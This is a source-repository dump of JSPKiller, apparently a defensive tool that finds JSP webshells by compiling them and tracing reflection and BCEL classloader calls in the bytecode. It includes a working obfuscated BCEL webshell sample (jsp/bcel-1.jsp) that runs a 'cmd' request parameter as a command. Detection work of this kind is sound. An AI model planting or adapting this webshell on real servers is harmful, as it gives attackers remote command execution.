owner.equals("com/sun/org/apache/bcel/internal/util/ClassLoader") && 46 | name.equals("loadClass") && desc.equals("(Ljava/lang/String;)Ljava/lang/Class;") 47 | && opcode == Opcodes.INVOKEVIRTUAL; 48 | if (bcelInit) { 49 | logger.info("new BCEL ClassLoader"); 50 | super.visitMethodInsn(opcode, owner, name, desc, itf); 51 | operandStack.get(0).add("new-bcel-classloader"); 52 | return; 53 | } 54 | if (bcelLoadClass) { 55 | logger.info("BCEL ClassLoader loadClass method invoked"); 56 | if (operandStack.get(0).contains("bcel-bytecode")) { 57 | logger.info("use found bytecode"); 58 | this.analysisData.put("load-bcel", true); 59 | } 60 | super.visitMethodInsn(opcode, owner, name, desc, itf); 61 | return; 62 | } 63 | super.visitMethodInsn(opcode, owner, name, desc, itf); 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /jsp/bcel-1.jsp: -------------------------------------------------------------------------------- 1 | <% 2 | String cmd = request.getParameter("cmd"); 3 | String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A"; 4 | com.sun.org.apache.bcel.internal.util.ClassLoader loader = 5 | new com.sun.org.apache.bcel.internal.util.ClassLoader(); 6 | Class clazz = loader.loadClass(bcelCode); 7 | java.lang.reflect.Constructor constructor = clazz.getConstructor(String.class); 8 | Object obj = constructor.newInstance(cmd); 9 | response.getWriter().print(obj.toString()); 10 | %> -------------------------------------------------------------------------------- /src/main/java/org/sec/util/BcelUtil.java: -------------------------------------------------------------------------------- 1 | package org.sec.util; 2 | 3 | import java.io.*; 4 | import java.util.zip.GZIPInputStream; 5 | 6 | @SuppressWarnings("all") 7 | public class BcelUtil { 8 | private static int[] MAP_CHAR = new int[256]; 9 | private static final char ESCAPE_CHAR = '$'; 10 | private static final int FREE_CHARS = 48; 11 | private static int[] CHAR_MAP = new int[FREE_CHARS]; 12 | 13 | static { 14 | int j = 0, k = 0; 15 | for (int i = 'A'; i <= 'Z'; i++) { 16 | CHAR_MAP[j] = i; 17 | MAP_CHAR[i] = j; 18 | j++; 19 | } 20 | for (int i = 'g'; i <= 'z'; i++) { 21 | CHAR_MAP[j] = i; 22 | MAP_CHAR[i] = j; 23 | j++; 24 | } 25 | CHAR_MAP[j] = '$'; 26 | MAP_CHAR['$'] = j; 27 | j++; 28 | CHAR_MAP[j] = '_'; 29 | MAP_CHAR['_'] = j; 30 | } 31 | 32 | private static class JavaReader extends FilterReader { 33 | public JavaReader(Reader in) { 34 | super(in); 35 | } 36 | 37 | public int read() throws IOException { 38 | int b = in.read(); 39 | if (b != ESCAPE_CHAR) { 40 | return b; 41 | } else { 42 | int i = in.read(); 43 | if (i < 0) return -1; 44 | if (((i >= '0') && (i <= '9')) || ((i >= 'a') && (i <= 'f'))) { 45 | int j = in.read(); 46 | if (j < 0) return -1; 47 | char[] tmp = {(char) i, (char) j}; 48 | int s = Integer.parseInt(new String(tmp), 16); 49 | return s; 50 | } else { 51 | return MAP_CHAR[i]; 52 | } 53 | } 54 | } 55 | 56 | public int read(char[] cbuf, int off, int len) throws IOException { 57 | for (int i = 0; i < len; i++) cbuf[off + i] = (char) read(); 58 | return len; 59 | } 60 | } 61 | 62 | public static byte[] decode(String s, boolean uncompress) throws IOException { 63 | char[] chars = s.toCharArray(); 64 | CharArrayReader car = new CharArrayReader(chars); 65 | JavaReader jr = new JavaReader(car); 66 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 67 | int ch; 68 | while ((ch = jr.read()) >= 0) { 69 | bos.write(ch); 70 | } 71 | bos.close(); 72 | car.close(); 73 | jr.close(); 74 | byte[] bytes = bos.toByteArray(); 75 | if (uncompress) { 76 | GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(bytes)); 77 | byte[] tmp = new byte[bytes.length * 3]; 78 | int count = 0; 79 | int b; 80 | while ((b = gis.read()) >= 0) tmp[count++] = (byte) b; 81 | bytes = new byte[count]; 82 | System.arraycopy(tmp, 0, bytes, 0, count); 83 | } 84 | return bytes; 85 | } 86 | } -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | JSPKiller 9 | 0.1 10 | 11 | 12 | 13 | 4ra1n 14 | 4ra1n 15 | emyiqing@gmail.com 16 | https://4ra1n.love 17 | 18 | 19 | 20 | 21 | 8 22 | 8 23 | 9.2 24 | 25 | UTF-8 26 | 27 | 28 | 29 | 30 | 31 | com.google.googlejavaformat 32 | google-java-format 33 | 1.0 34 | 35 | 36 | junit 37 | junit 38 | 4.7 39 | test 40 | 41 | 42 | log4j 43 | log4j 44 | 1.2.17 45 | 46 | 47 | com.beust 48 | jcommander 49 | 1.81 50 | 51 | 52 | org.ow2.asm 53 | asm 54 | ${asm.version} 55 | 56 | 57 | org.ow2.asm 58 | asm-commons 59 | ${asm.version} 60 | 61 | 62 | org.ow2.asm 63 | asm-util 64 | ${asm.version} 65 | 66 | 67 | com.google.guava 68 | guava 69 | 31.0.1-jre 70 | 71 | 72 | javax.servlet 73 | javax.servlet-api 74 | 4.0.1 75 | provided 76 | 77 | 78 | 79 | 80 | 81 | 82 | maven-assembly-plugin 83 | 84 | false 85 | 86 | jar-with-dependencies 87 | 88 | 89 | 90 | org.sec.Main 91 | 92 | 93 | 94 | 95 | 96 | make-assembly 97 | package 98 | 99 | assembly 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /src/main/java/org/sec/Main.java: -------------------------------------------------------------------------------- 1 | package org.sec; 2 | 3 | import com.beust.jcommander.JCommander; 4 | import com.google.googlejavaformat.java.Formatter; 5 | import org.apache.log4j.Logger; 6 | import org.objectweb.asm.ClassReader; 7 | import org.sec.config.Command; 8 | import org.sec.config.Logo; 9 | import org.sec.service.BcelShellClassVisitor; 10 | import org.sec.service.ReflectionShellClassVisitor; 11 | import org.sec.service.SimpleShellClassVisitor; 12 | import org.sec.util.BcelUtil; 13 | 14 | import javax.tools.JavaCompiler; 15 | import javax.tools.JavaFileObject; 16 | import javax.tools.StandardJavaFileManager; 17 | import java.io.*; 18 | import java.lang.reflect.Method; 19 | import java.net.URL; 20 | import java.net.URLClassLoader; 21 | import java.nio.charset.StandardCharsets; 22 | import java.nio.file.Files; 23 | import java.nio.file.Path; 24 | import java.nio.file.Paths; 25 | import java.util.ArrayList; 26 | import java.util.List; 27 | import java.util.Map; 28 | 29 | public class Main { 30 | private static final Logger logger = Logger.getLogger(Main.class); 31 | 32 | public static void main(String[] args) { 33 | Logo.PrintLogo(); 34 | logger.info("start code inspector"); 35 | Command command = new Command(); 36 | JCommander jc = JCommander.newBuilder().addObject(command).build(); 37 | jc.parse(args); 38 | if (command.help) { 39 | jc.usage(); 40 | return; 41 | } 42 | if (command.file == null || command.file.equals("")) { 43 | logger.error("file is null"); 44 | return; 45 | } 46 | if (command.module == null || command.module.equals("")) { 47 | logger.warn("no select module"); 48 | logger.info("use default module r"); 49 | command.module = "r"; 50 | } 51 | start(command); 52 | } 53 | 54 | private static void start(Command command) { 55 | try { 56 | Path path = Paths.get(command.file); 57 | if (!Files.exists(path)) { 58 | logger.error("webshell file not exits"); 59 | return; 60 | } 61 | 62 | // Parse JSP 63 | byte[] jspBytes = Files.readAllBytes(path); 64 | String jspCode = new String(jspBytes); 65 | jspCode = jspCode.replace("<%@", ""); 66 | 67 | String tempCode = jspCode.split("<%")[1]; 68 | String finalJspCode = tempCode.split("%>")[0]; 69 | InputStream inputStream = Main.class.getClassLoader().getResourceAsStream("Webshell.java"); 70 | if (inputStream == null) { 71 | logger.error("read template error"); 72 | return; 73 | } 74 | StringBuilder resultBuilder = new StringBuilder(); 75 | InputStreamReader ir = new InputStreamReader(inputStream); 76 | BufferedReader reader = new BufferedReader(ir); 77 | String lineTxt; 78 | while ((lineTxt = reader.readLine()) != null) { 79 | resultBuilder.append(lineTxt).append("\n"); 80 | } 81 | ir.close(); 82 | reader.close(); 83 | 84 | // Build New Java File 85 | String templateCode = resultBuilder.toString(); 86 | String finalCode = templateCode.replace("__WEBSHELL__", finalJspCode); 87 | 88 | String formattedCode = new Formatter().formatSource(finalCode); 89 | Files.write(Paths.get("Webshell.java"), formattedCode.getBytes(StandardCharsets.UTF_8)); 90 | 91 | // Dynamically Compile 92 | File toolsPath = new File( 93 | System.getProperty("java.home") 94 | .replace("jre", "lib") + 95 | File.separator + "tools.jar"); 96 | URL url = toolsPath.toURI().toURL(); 97 | URLClassLoader classLoader = new URLClassLoader(new java.net.URL[]{url}); 98 | Class toolClazz = classLoader.loadClass("javax.tools.ToolProvider"); 99 | Method method = toolClazz.getDeclaredMethod("getSystemJavaCompiler"); 100 | JavaCompiler compiler = (JavaCompiler) method.invoke(null); 101 | StandardJavaFileManager fileManager = compiler.getStandardFileManager( 102 | null, null, null); 103 | Iterable compilationUnits = fileManager.getJavaFileObjects( 104 | new File("Webshell.java")); 105 | List optionList = new ArrayList<>(); 106 | optionList.add("-classpath"); 107 | optionList.add("lib.jar"); 108 | optionList.add("-nowarn"); 109 | FileOutputStream outputStream = new FileOutputStream("compile.txt"); 110 | OutputStreamWriter writer = new OutputStreamWriter(outputStream); 111 | JavaCompiler.CompilationTask task = compiler.getTask(writer, fileManager, 112 | null, optionList, null, compilationUnits); 113 | task.call(); 114 | writer.close(); 115 | outputStream.close(); 116 | 117 | byte[] classData = Files.readAllBytes(Paths.get("Webshell.class")); 118 | if (!command.debug) { 119 | Files.delete(Paths.get("Webshell.class")); 120 | Files.delete(Paths.get("Webshell.java")); 121 | Files.delete(Paths.get("compile.txt")); 122 | } 123 | 124 | // Reflection Webshell 125 | if (command.module.contains("r")) { 126 | logger.info("start reflection webshell scan"); 127 | try { 128 | ClassReader cr = new ClassReader(classData); 129 | ReflectionShellClassVisitor cv = new ReflectionShellClassVisitor(); 130 | cr.accept(cv, ClassReader.EXPAND_FRAMES); 131 | } catch (Exception e) { 132 | logger.info("no reflection webshell"); 133 | } 134 | } 135 | 136 | // BCEL Webshell 137 | if (command.module.contains("b")) { 138 | logger.info("start bcel webshell scan"); 139 | try { 140 | ClassReader cr = new ClassReader(classData); 141 | BcelShellClassVisitor cv = new BcelShellClassVisitor(); 142 | cr.accept(cv, ClassReader.EXPAND_FRAMES); 143 | Map data = cv.getAnalysisData(); 144 | if (data.containsKey("load-bcel") && data.containsKey("bcel-bytecode")) { 145 | String bcelCode = (String) data.get("bcel-bytecode"); 146 | bcelCode = bcelCode.substring(8); 147 | byte[] byteCode = BcelUtil.decode(bcelCode, true); 148 | logger.info("analysis BCEL bytecode"); 149 | ClassReader bcelCr = new ClassReader(byteCode); 150 | SimpleShellClassVisitor bcelCv = new SimpleShellClassVisitor(); 151 | bcelCr.accept(bcelCv, ClassReader.EXPAND_FRAMES); 152 | } 153 | } catch (Exception e) { 154 | logger.info("no bcel webshell"); 155 | } 156 | } 157 | } catch (Exception e) { 158 | e.printStackTrace(); 159 | } 160 | } 161 | } 162 | -------------------------------------------------------------------------------- /src/main/java/org/sec/service/ReflectionShellMethodAdapter.java: -------------------------------------------------------------------------------- 1 | package org.sec.service; 2 | 3 | import org.apache.log4j.Logger; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.sec.core.CoreMethodAdapter; 7 | 8 | import java.util.*; 9 | 10 | public class ReflectionShellMethodAdapter extends CoreMethodAdapter { 11 | private Logger logger = Logger.getLogger(ReflectionShellMethodAdapter.class); 12 | 13 | private final int access; 14 | private final String desc; 15 | private final Map> analysisData; 16 | 17 | public ReflectionShellMethodAdapter(int api, MethodVisitor mv, String owner, 18 | int access, String name, String desc, 19 | String signature, String[] exceptions, 20 | Map> analysisData) { 21 | super(api, mv, owner, access, name, desc, signature, exceptions); 22 | this.access = access; 23 | this.desc = desc; 24 | this.analysisData = analysisData; 25 | } 26 | 27 | @Override 28 | public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) { 29 | if (opcode == Opcodes.INVOKEINTERFACE) { 30 | boolean getParam = name.equals("getParameter") && 31 | owner.equals("javax/servlet/http/HttpServletRequest") && 32 | desc.equals("(Ljava/lang/String;)Ljava/lang/String;"); 33 | if (getParam) { 34 | super.visitMethodInsn(opcode, owner, name, desc, itf); 35 | logger.info("find source: request.getParameter"); 36 | operandStack.get(0).add("get-param"); 37 | return; 38 | } 39 | } 40 | if (opcode == Opcodes.INVOKESTATIC) { 41 | boolean forName = name.equals("forName") && 42 | owner.equals("java/lang/Class") && 43 | desc.equals("(Ljava/lang/String;)Ljava/lang/Class;"); 44 | if (forName) { 45 | if (operandStack.get(0).contains("ldc-runtime")) { 46 | super.visitMethodInsn(opcode, owner, name, desc, itf); 47 | logger.info("-> get Runtime class"); 48 | operandStack.get(0).add("class-runtime"); 49 | return; 50 | } 51 | } 52 | } 53 | if (opcode == Opcodes.INVOKEVIRTUAL) { 54 | boolean getMethod = name.equals("getMethod") && 55 | owner.equals("java/lang/Class") && 56 | desc.equals("(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;"); 57 | 58 | boolean invoke = name.equals("invoke") && 59 | owner.equals("java/lang/reflect/Method") && 60 | desc.equals("(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;"); 61 | boolean append = name.equals("append") && 62 | owner.equals("java/lang/StringBuilder") && 63 | desc.equals("(Ljava/lang/String;)Ljava/lang/StringBuilder;"); 64 | boolean toString = name.equals("toString") && 65 | owner.equals("java/lang/StringBuilder") && 66 | desc.equals("()Ljava/lang/String;"); 67 | if (append) { 68 | if (operandStack.get(0).size() != 0) { 69 | String before = null; 70 | if (operandStack.get(1).size() != 0) { 71 | before = new ArrayList<>(operandStack.get(1)).get(0); 72 | } 73 | if (before == null) { 74 | before = new ArrayList<>(operandStack.get(0)).get(0); 75 | } else { 76 | before += new ArrayList<>(operandStack.get(0)).get(0); 77 | } 78 | super.visitMethodInsn(opcode, owner, name, desc, itf); 79 | operandStack.get(0).add(before); 80 | return; 81 | } 82 | } 83 | if (toString) { 84 | if (operandStack.get(0).size() != 0) { 85 | List data = new ArrayList<>(operandStack.get(0)); 86 | StringBuilder builder = new StringBuilder(); 87 | for (String s : data) { 88 | builder.append(s); 89 | } 90 | String result = builder.toString(); 91 | super.visitMethodInsn(opcode, owner, name, desc, itf); 92 | if (result.equals("exec")) { 93 | operandStack.get(0).add("ldc-exec"); 94 | } 95 | if (result.equals("getRuntime")) { 96 | operandStack.get(0).add("ldc-get-runtime"); 97 | } 98 | return; 99 | } 100 | } 101 | if (getMethod) { 102 | if (operandStack.get(1).contains("ldc-get-runtime")) { 103 | super.visitMethodInsn(opcode, owner, name, desc, itf); 104 | logger.info("-> get getRuntime method"); 105 | operandStack.get(0).add("method-get-runtime"); 106 | return; 107 | } 108 | if (operandStack.get(1).contains("ldc-exec")) { 109 | super.visitMethodInsn(opcode, owner, name, desc, itf); 110 | logger.info("-> get exec method"); 111 | operandStack.get(0).add("method-exec"); 112 | return; 113 | } 114 | } 115 | if (invoke) { 116 | if (operandStack.get(0).contains("get-param")) { 117 | if (operandStack.get(2).contains("method-exec")) { 118 | logger.info("find reflection webshell!"); 119 | super.visitMethodInsn(opcode, owner, name, desc, itf); 120 | return; 121 | } 122 | super.visitMethodInsn(opcode, owner, name, desc, itf); 123 | logger.info("-> method exec invoked"); 124 | return; 125 | } 126 | } 127 | } 128 | super.visitMethodInsn(opcode, owner, name, desc, itf); 129 | } 130 | 131 | @Override 132 | public void visitInsn(int opcode) { 133 | if (opcode == Opcodes.AASTORE) { 134 | if (operandStack.get(0).contains("get-param")) { 135 | logger.info("store request param into array"); 136 | super.visitInsn(opcode); 137 | operandStack.get(0).clear(); 138 | operandStack.get(0).add("get-param"); 139 | return; 140 | } 141 | } 142 | super.visitInsn(opcode); 143 | } 144 | 145 | @Override 146 | public void visitLdcInsn(Object cst) { 147 | if (cst.equals("java.lang.Runtime")) { 148 | super.visitLdcInsn(cst); 149 | operandStack.get(0).add("ldc-runtime"); 150 | return; 151 | } 152 | if (cst.equals("getRuntime")) { 153 | super.visitLdcInsn(cst); 154 | operandStack.get(0).add("ldc-get-runtime"); 155 | return; 156 | } 157 | if (cst.equals("exec")) { 158 | super.visitLdcInsn(cst); 159 | operandStack.get(0).add("ldc-exec"); 160 | return; 161 | } 162 | if (cst instanceof String) { 163 | super.visitLdcInsn(cst); 164 | operandStack.get(0).add((String) cst); 165 | return; 166 | } 167 | super.visitLdcInsn(cst); 168 | } 169 | } 170 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /src/main/java/org/sec/core/CoreMethodAdapter.java: -------------------------------------------------------------------------------- 1 | package org.sec.core; 2 | 3 | import org.objectweb.asm.*; 4 | import org.objectweb.asm.commons.AnalyzerAdapter; 5 | 6 | import java.util.*; 7 | 8 | @SuppressWarnings("all") 9 | public class CoreMethodAdapter extends MethodVisitor { 10 | private final AnalyzerAdapter analyzerAdapter; 11 | private final int access; 12 | private final String name; 13 | private final String desc; 14 | private final String signature; 15 | private final String[] exceptions; 16 | 17 | private final Map> gotoStates = new HashMap<>(); 18 | private final Set